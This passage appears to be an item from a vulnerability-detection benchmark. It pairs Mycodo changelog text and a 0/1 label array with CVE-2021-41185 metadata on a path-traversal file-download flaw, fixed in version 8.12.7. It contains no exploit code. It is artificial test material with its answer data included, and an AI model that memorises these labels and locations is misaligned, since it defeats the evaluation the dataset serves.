errors\n - Add exceptions, logging, and docstrings", "\n## 4.0.25 (2016-11-13)", "### Features", " - New create admin user page if no admin user exists\n - Add support for [Chirp soil moisture sensor](https://wemakethings.net/chirp/)\n - Add more I2C LCD address options\n - Add endpoint tests\n - Add use of [Travis CI](https://travis-ci.org/) and [Codacy](https://www.codacy.com/)", "### Bugfixes", " - Fix controller crash when using a 20x4 LCD ([#136](https://github.com/kizniche/mycodo/issues/136))\n - Add short sleep() to login to reduce chance of brute-force success\n - Fix code warnings and errors", "\n## 4.0.24 (2016-10-26)", "### Features", " - Setup flask app using new create_app() factory\n - Create application factory and moved view implementation into a general blueprint ([#129](https://github.com/kizniche/mycodo/issues/129) [#132](https://github.com/kizniche/Mycodo/pull/132) [#142](https://github.com/kizniche/Mycodo/pull/142))\n - Add initial fixture tests", "\n## 4.0.23 (2016-10-18)", "### Performance", " - Improve time-lapse capture method", "### Features", " - Add BME280 sensor\n - Create basic tests for flask app ([#112](https://github.com/kizniche/mycodo/issues/122))\n - Relocated Flask UI into its own package ([#116](https://github.com/kizniche/Mycodo/pull/116))\n - Add DB session fixtures; create model factories\n - Add logging of relay durations that are turned on and off, without a known duration\n - Add ability to define power billing cycle day, AC voltage, cost per kWh, and currency unit for relay usage statistics\n - Add more Themes\n - Add hostname to UI page title", "### Bugfixes", " - Fix relay conditionals when relays turn on for durations of time ([#123](https://github.com/kizniche/mycodo/issues/123))\n - Exclude photo/video directories from being backed up during upgrade\n - Removed unused imports\n - Changed print statements to logging statements\n - Fix inability to save sensor settings ([#120](https://github.com/kizniche/mycodo/issues/120) [#134](https://github.com/kizniche/mycodo/issues/134))" ]
[ 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [9, 153], "buggy_code_start_loc": [1, 120], "filenames": ["CHANGELOG.md", "mycodo/mycodo_flask/routes_general.py"], "fixing_code_end_loc": [13, 155], "fixing_code_start_loc": [1, 120], "message": "Mycodo is an environmental monitoring and regulation system. An exploit in versions prior to 8.12.7 allows anyone with access to endpoints to download files outside the intended directory. A patch has been applied and a release made. Users should upgrade to version 8.12.7. As a workaround, users may manually apply the changes from the fix commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:mycodo_project:mycodo:*:*:*:*:*:*:*:*", "matchCriteriaId": "C8B4BD3A-4B47-41A4-84D2-B9E703773D53", "versionEndExcluding": "8.12.7", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Mycodo is an environmental monitoring and regulation system. An exploit in versions prior to 8.12.7 allows anyone with access to endpoints to download files outside the intended directory. A patch has been applied and a release made. Users should upgrade to version 8.12.7. As a workaround, users may manually apply the changes from the fix commit."}, {"lang": "es", "value": "Mycodo es un sistema de monitorizaci\u00f3n y regulaci\u00f3n ambiental. Una explotaci\u00f3n en versiones anteriores a 8.12.7, permite a cualquiera con acceso a los endpoints descargar archivos fuera del directorio previsto. Se ha aplicado un parche y se ha realizado un lanzamiento. Los usuarios deben actualizar a la versi\u00f3n 8.12.7. Como soluci\u00f3n, los usuarios pueden aplicar manualmente los cambios del commit de correcci\u00f3n"}], "evaluatorComment": null, "id": "CVE-2021-41185", "lastModified": "2021-10-27T19:33:23.407", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-10-26T15:15:10.533", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/commit/23ac5dd422029c2b6ae1701a3599b6d41b66a6a9"}, {"source": "security-advisories@github.com", "tags": ["Issue Tracking", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/issues/1105"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/releases/tag/v8.12.7"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/security/advisories/GHSA-252r-94ph-m229"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-22"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/kizniche/Mycodo/commit/23ac5dd422029c2b6ae1701a3599b6d41b66a6a9"}, "type": "CWE-22"}
151
Determine whether the {function_name} code is vulnerable or not.
[ "## 8.12.7 (2021-10-25)", "This is a bugfix release that includes a fix to a severe security vulnerability. It is recommended that all users that have Mycodo exposed to the internet and allow guest access upgrade to patch this vulnerability. Users that only run Mycodo on a local network and/or don't allow unknown user (i.e. guest) access likely won't be affected.", "\n### Bugfixes", " - Fix refreshing LCD Display Function line options when changing number of lines\n - Fix installation of Function Action dependencies\n - Fix error when unauthenticated users attempting to land on the home page\n - Fix Gauge Widget dependencies ([#1100](https://github.com/kizniche/mycodo/issues/1100))\n - Fix installation of pigpiod", " - Fix file exploit vulnerability ([#1105](https://github.com/kizniche/mycodo/issues/1105))", "\n### Features", " - Add ability to install on most Debian-based systems\n - Add ability for Actions to work on Function Controllers\n - Add LCD Backlight On/Off Actions to LCD Functions ([#1089](https://github.com/kizniche/mycodo/issues/1089))\n - Add Input: SHT2x (using alternate sht20 library with more accurate measurements and settable temperature resolution)\n - Add Input: SHTC3", "### Miscellaneous", " - Update python packages", "\n## 8.12.6 (2021-09-03)", "### Bugfixes", " - Fix accessing dependency page ([#1082](https://github.com/kizniche/mycodo/issues/1082))\n - Fix loading Input page if Math controllers are present ([#1083](https://github.com/kizniche/mycodo/issues/1083))\n - Fix MQTT JSON Input dependency version ([#1085](https://github.com/kizniche/mycodo/issues/1085))", "### Features", " - Add Inputs: MLX90393, DPS310", "\n## 8.12.5 (2021-09-01)", "### Bugfixes", " - Fix aggregate dependency page ([#1082](https://github.com/kizniche/mycodo/issues/1082))", "\n## 8.12.5 (2021-09-01)", "### Bugfixes", " - Fix loading of dependency install page\n - Prevent loading of Highstock JS more than once", "\n## 8.12.4 (2021-08-31)", "### Bugfixes", " - Fix Input temperature compensation", "### Features", " - Add ability to set Dependency Message to be displayed on dependency install page", "\n## 8.12.3 (2021-08-31)", "### Bugfixes", " - Fix redrawing Graph/Gauge Widgets on resize\n - Fix Gauge Widget dark theme ([#1080](https://github.com/kizniche/mycodo/issues/1080))\n - Really fix missing channels for Atlas EC sensor", "\n## 8.12.2 (2021-08-30)", "### Bugfixes", " - Fix missing channels for Atlas EC sensor", "\n## 8.12.1 (2021-08-30)", "### Bugfixes", " - Fix display of Graph and Gauge Widgets on dashboard ([#1078](https://github.com/kizniche/mycodo/issues/1078))", "\n## 8.12.0 (2021-08-29)", "This release changes the way settings are saved, which requires a change to any custom Inputs/Outputs/Functions you have in use. If your custom module includes the seldom-used execute_at_modification() function (such as Mycodo/mycodo/inputs/python_code.py), you will need to change the parameters as well as the return variables.", "Before:", "```python\ndef execute_at_modification(\n mod_entry,\n request_form,\n custom_options_dict_presave,\n custom_options_channels_dict_presave,\n custom_options_dict_postsave,\n custom_options_channels_dict_postsave):\n allow_saving = True # Allows saving of options to occur\n return (allow_saving,\n mod_entry,\n custom_options_dict_postsave,\n custom_options_channels_dict_postsave)\n```", "After:", "```python\ndef execute_at_modification(\n messages,\n mod_entry,\n request_form,\n custom_options_dict_presave,\n custom_options_channels_dict_presave,\n custom_options_dict_postsave,\n custom_options_channels_dict_postsave):\n # messages[\"page_refresh\"] = True # Setting to True will cause the options on the user's page to refresh\n # messages[\"error\"].append(\"Some error\") # Uncomment this line to prevent options saving\n # messages[\"warning\"].append(\"This will be a warning message\")\n # messages[\"info\"].append(\"This will be an info message\")\n if not messages[\"error\"]:\n messages[\"success\"].append(\"Successfully completed execute_at_modification()\")\n return (messages,\n mod_entry,\n custom_options_dict_postsave,\n custom_options_channels_dict_postsave)\n```", "Additionally, if you are currently using the MQTT JSON Input and your topics contain any special characters, you will need to enclose the topic in quotes (e.g. sensor-1 to \"sensor-1\").", "### Bugfixes", " - Fix taking photos with camera library \"raspistill\" when AWB set to off\n - Fix issue querying graph data\n - Fix flag/tag newlines on asynchronous graphs\n - Fix single quotes in translations causing error ([#1019](https://github.com/kizniche/mycodo/issues/1019))\n - Fix CCS811 Input dependency install issue ([#1023](https://github.com/kizniche/mycodo/issues/1023))\n - Fix sense-hat dependency issue\n - Fix saving Output checkboxes ([#1029](https://github.com/kizniche/mycodo/issues/1029))\n - Fix PiOLED Functions ([#1030](https://github.com/kizniche/mycodo/issues/1030))\n - Fix PID controller properly reporting if Held/Paused\n - Fix cmd_output() killing daemon upon command timeout ([#1047](https://github.com/kizniche/mycodo/issues/1047))\n - Fix missing check for Widget dependencies during upgrade/restore\n - Fix output_sec_currently_on()\n - Fix Widgets being able to be moved/resized when dashboard locked\n - Fix Indicator Widget unit not using correct font size\n - Fix display of tags on more than one Graph Widget\n - Fix first channel of L298N DC Motor Controller Output not working\n - Fix setting Graph Widget custom colors when tag selected\n - Fix Graph Widget custom colors when more than one Input selected\n - Fix note array memory leak on Graph Widgets\n - Fix FTDI device detection on Output page\n - Fix sending commands to Atlas Scientific devices via FTDI\n - Fix Atlas Scientific Peristaltic Pump Output calibration\n - Fix temperature compensation unit conversion for Atlas ORP, EC, and pH sensors ([#1064](https://github.com/kizniche/mycodo/issues/1064))\n - Fix Camera Widget displaying time-lapse images ([#1072](https://github.com/kizniche/mycodo/issues/1072))\n - Fix Activate/Deactivate Actions not working for Functions", "### Features", " - Add ability to install Javascript/CSS dependencies\n - Add ability to submit forms without refreshing the page ([#1040](https://github.com/kizniche/mycodo/issues/1040))\n - Add ability to install dependencies without changing the page\n - Add drag and drop sorting of Inputs/Outputs/Functions\n - Add modal dialog for Input/Output/Function configuration\n - Add option for a numerical keypad login\n - Add options for camera library raspistill: AWB Gain Blue, AWB Gain Red\n - Add Input: ADS1256 with Analog pH/EC sensors\n - Add Input: SI1145 Light/Proximity sensor\n - Add Output: MCP23017 16-Channel I/O Expander (On/Off)\n - Add return status to Conditional Controllers\n - Add 2- and 4-line variants of SSD1306 Display Functions and extra Options ([#1030](https://github.com/kizniche/mycodo/issues/1030))\n - Add calibration to the Atlas Scientific EC Input Peristaltic Pump Output\n - Add Spacers for Input and Output lists\n - Add PDF Manual\n - Add ability to set the Indicator Widget's unit font size\n - Add temperature compensation to Atlas Dissolved Oxygen sensor\n - Add TDS, Salinity, and Specific Gravity measurements for Atlas Scientific EC sensor ([#1065](https://github.com/kizniche/mycodo/issues/1065))\n - Add ability to define new Flask endpoints in Widget modules", "### Miscellaneous", " - Replace TravisCI (no longer free) with [Github Actions](https://github.com/kizniche/Mycodo/actions/workflows/main.yml) to perform unit tests\n - Update KP303 library ([#1028](https://github.com/kizniche/mycodo/issues/1028))\n - Add Try/Except for checking Output Triggers ([#1037](https://github.com/kizniche/mycodo/issues/1037))\n - Speed up loading of Camera page\n - Update Gridstack to the latest version\n - Ensure Atlas DO sensor only returns DO ([#1052](https://github.com/kizniche/mycodo/issues/1052))\n - Remove Highcharts/Highstock Javascript from package to be compliant with licensing\n - Remove calibration page (all functionality has been moved to modules)\n - Place Output columns at back of Graph Widget charts\n - Add Measurements/Units: Specific Gravity, Salinity, Total Dissolved Solids, Parts per Thousand\n - Add conversions for Parts per Thousand\n - Specify virtualenv install version in requirements.txt ([#1067](https://github.com/kizniche/mycodo/issues/1067))\n - Enable server-side Flask session", "\n## 8.11.0 (2021-06-05) ", "### Bugfixes", " - Fix upgrading database to version 61a0d0568d24\n - Fix Generic Pump Output timestamps\n - Fix inability to add Camera Widget for some cameras\n - Fix error referencing key of Input dict that doesn't exist\n - Fix unnecessary reference to measurement dict causing error ([#1001](https://github.com/kizniche/mycodo/issues/1001), [#1005](https://github.com/kizniche/mycodo/issues/1005))\n - Add missing dependency for HC-SR04 Input ([#1003](https://github.com/kizniche/mycodo/issues/1003))\n - Fix 'id' KeyError when saving certain Inputs ([#1004](https://github.com/kizniche/mycodo/issues/1004))\n - Fix I2C PiOLED Display Functions\n - Fix clearing total volume of Hall Flow Input ([#994](https://github.com/kizniche/mycodo/issues/994))\n - Fix SSD1306 OLED Display Function initialization\n - Fix PID Min/Max options not being respected ([#998](https://github.com/kizniche/mycodo/issues/998))\n - Fix error when PWM Output duty cycle is 0\n - Change pin default when creating an Output from 0 to None\n - Don't run Output shutdown function if not set up\n - Fix Controller custom_option messages not being visible\n - Fix output state checking not handling errors ([#990](https://github.com/kizniche/mycodo/issues/990))\n - Fix BME680 Input dependency\n - Fix GrovePi DHT Input\n - Fix Method dependencies not being installed\n - Prevent non-streamable camera types from being selected to stream in Camera Widget ([#991](https://github.com/kizniche/mycodo/issues/991))", "### Features", " - Add ability to set decimal places for Angular and Solid Gauge Widgets\n - Add ability to lock Dashboards (remove ability to edit widget options) ([#996](https://github.com/kizniche/mycodo/issues/996))\n - Add ability to display the status of Functions and PID Controllers in the UI\n - Add Widget: Function Status\n - Add Conditional Controller option: Timeout (seconds)\n - Add Function Actions: Camera Timelapse Pause/Resume\n - Add Temperature Compensation for Atlas Scientific pH Input during calibration\n - Add Output channel names to Graph Widget multi-select and legend\n - Add Function: Backup to Remote Host (rsync)\n - Add Input: Anyleaf Electrical Conductivity\n - Add ability to calibrate Atlas Scientific ORP and DO sensors\n - Add ability to change I2C address of Atlas Scientific devices\n - Add Input: CCS811 (without temperature) ([#992](https://github.com/kizniche/mycodo/issues/992))\n - Add Input: MQTT Subscribe (JSON payload)\n - Add Output: Grove I2C Motor Driver (TB6612FNG, Board v1.0)\n - Add Output: Grove I2C Motor Driver (Board v1.3)\n - Make Enable Pin optional for L298N Output", "\n## 8.10.1 (2021-04-27)", "### Bugfixes", " - Fix warning preventing saving of Python code\n - Fix Sense Hat Input dependency", "### Features", " - Add Input: Atlas Scientific humidity sensor\n - Add Camera: raspistill\n - Make Add Output dropdown searchable", "### Miscellaneous", " - Add \"Both\" direction option for On/Off and PWM Bang-Bang Outputs", "\n## 8.10.0 (2021-04-24)", "This release contains changes that requires modification to any Custom Functions you may have in use. In order for the new features to work for Custom Functions, it required the use of an abstract base function class (similarly to Inputs and Outputs). As a result, any Custom Functions that previously were formatted as such:", "```python\nfrom mycodo.controllers.base_controller import AbstractController", "class CustomModule(AbstractController, threading.Thread):\n \"\"\"\n Class to operate custom controller\n \"\"\"\n def __init__(self, ready, unique_id, testing=False):\n threading.Thread.__init__(self)\n super(CustomModule, self).__init__(ready, unique_id=unique_id, name=__name__)", " self.unique_id = unique_id\n self.log_level_debug = None", " # Set custom options\n custom_function = db_retrieve_table_daemon(\n CustomController, unique_id=unique_id)\n self.setup_custom_options(\n FUNCTION_INFORMATION['custom_options'], custom_function)\n```", "will need to be changed to the format:", "```python\nfrom mycodo.functions.base_function import AbstractFunction", "class CustomModule(AbstractFunction):\n \"\"\"\n Class to operate custom controller\n \"\"\"\n def __init__(self, function, testing=False):\n super(CustomModule, self).__init__(function, testing=testing, name=__name__)", " # Note: The following 2 lines are no longer needed to be defined here. Delete them.\n # self.unique_id = function.unique_id \n # self.log_level_debug = None", " # Set custom options\n custom_function = db_retrieve_table_daemon(\n CustomController, unique_id=self.unique_id) # Note: \"self.\" is added here\n self.setup_custom_options(\n FUNCTION_INFORMATION['custom_options'], custom_function)", " # These two lines are new and are required to execute initialize_variables()\n if not testing:\n self.initialize_variables()\n```", "You also no longer need to define the following (i.e. you can remove these lines):", "```python\ncontroller = db_retrieve_table_daemon(\n CustomController, unique_id=self.unique_id)\nself.log_level_debug = controller.log_level_debug\nself.set_log_level_debug(self.log_level_debug)\n```", "Additionally, if you have pre_stop() in your Function Class, it will need to be renamed to stop_function().", "There are two ways to perform these changes.", "Method A:", "1. Deactivate all custom functions.\n2. Delete all custom functions on the Setup -> Function page.\n3. Delete all custom functions on the Configure -> Custom Functions page.\n4. Perform the Mycodo upgrade.\n5. Make the necessary edits to all your Custom Functions.\n6. Import all your updated Custom Functions on the Configure -> Custom Functions page.\n7. Add and configure your Custom Functions on the Setup -> Function page.", "Method B:", "1. Either SSH into your Raspberry Pi or use a keyboard/mouse/monitor and edit the Custom Functions in the ~/Mycodo/mycodo/function/custom_functions directory.\n2. Perform the Mycodo upgrade.", "Method A is more involved, but does not require accessing the Pi from outside the web UI. Method B has fewer steps and doesn't require deleting and reconfiguring new Functions, but requires being able to SSH in to your Raspberry Pi or connecting a keyboard/mouse/monitor to be able to edit the files in-place.", "As always, a backup of the current system files and settings is performed during an upgrade, allowing you to restore your system to a previous release state if needed.", "### Bugfixes", " - Fix camera paths not saving ([#955](https://github.com/kizniche/mycodo/issues/955))\n - Fix returning pylint3 report after saving Python Code\n - Fix detection of multiple cameras by opencv\n - Fix SCD30 (CircuitPython) Input ([#963](https://github.com/kizniche/mycodo/issues/963))\n - Fix importing Mycodo Settings ZIP if custom modules were exported ([#967](https://github.com/kizniche/mycodo/issues/967))\n - Fix inability to install picamera library on some Pi 4s ([#967](https://github.com/kizniche/mycodo/issues/967))\n - Fix VPD Function saving and calculating pressure conversion ([#978](https://github.com/kizniche/mycodo/issues/978))\n - Fix pressure conversion equations ([#978](https://github.com/kizniche/mycodo/issues/978))\n - Fix issues with Function channels/measurements\n - Fix Mijia LYWSD03MMC Input using a nonexistent pybluez version\n - Fix Hall Flow Input\n - Remove Flask-Session to resolve bug preventing frontend loading ([#971](https://github.com/kizniche/mycodo/issues/971))", "### Features", " - Add Input: SHT41x\n - Add Input: Adafruit I2C capacitive soil sensor\n - Add Input: CircuitPython variants of the BME280 and SHT31-D Inputs\n - Add Input: KP303 Smart WiFi Power Strip ([#980](https://github.com/kizniche/mycodo/issues/980))\n - Add Input: Generic Analog pH/EC using ADS1115 ADC\n - Add Input: Tasmota Outlet Energy Monitor\n - Add Output: DS3502 Digital Potentiometer\n - Add Output: ULN2003 Unipolar Stepper Motor Driver\n - Add Function: SSD1309 Display\n - Add Function: Bang-Bang PWM\n - Add Function Action: MQTT Publish\n - Add Function Action: webhook to emit HTTP requests ([discussion](https://kylegabriel.com/forum/general-discussion/webhook-action/))\n - Partial conversion of Display/LCD controllers to Display Functions\n - Add external temperature compensation for Anyleaf pH Input\n - Add ability to set camera stream frames per second\n - Add missing stream resolution option to opencv cameras\n - Add ability for Atlas Scientific Peristaltic Pump Outputs to run in reverse\n - Add new ADC measurement rescaling method: Equation\n - Add Custom Actions to Functions\n - Add \"wait_for_return\" option to Custom Actions\n - Convert all LCD/Display controllers to Functions\n - Add ability to not have to set time-lapse end (defaults to 10 years) ([#987](https://github.com/kizniche/mycodo/issues/987))", "### Miscellaneous", " - Add Measurements: Apparent Power, Reactive Power, Power Factor\n - Add Units: kilowatt-hour, Watt, Volt-Amps, Volt-Amps-Reactive\n - Specify package versions for pypi dependencies\n - Update python libraries\n - Add unit testing for Custom Functions\n - Add ability to change theme from Config dropdown menu", "\n## 8.9.2 (2021-03-16)", "This bugfix release changes how sessions are handled and as a result will log all users out following the upgrade.", "### Bugfixes", " - Fix Function measurements not appearing in some dropdowns\n - Fix displaying saved Custom Option values when Inputs/Outputs have Custom Actions ([#952](https://github.com/kizniche/mycodo/issues/952))\n - Fix silent failures when cookies are too large ([#950](https://github.com/kizniche/mycodo/issues/950))\n - Fix use of select_measurement_channel custom option in controllers ([#953](https://github.com/kizniche/mycodo/issues/953))\n - Fix error-handling of erroneous measurements/units ([#949](https://github.com/kizniche/mycodo/issues/949))", "\n## 8.9.1 (2021-03-13)", "### Bugfixes", " - Fix API deactivating controller in database ([#944](https://github.com/kizniche/mycodo/issues/944))\n - Fix invalid conversion 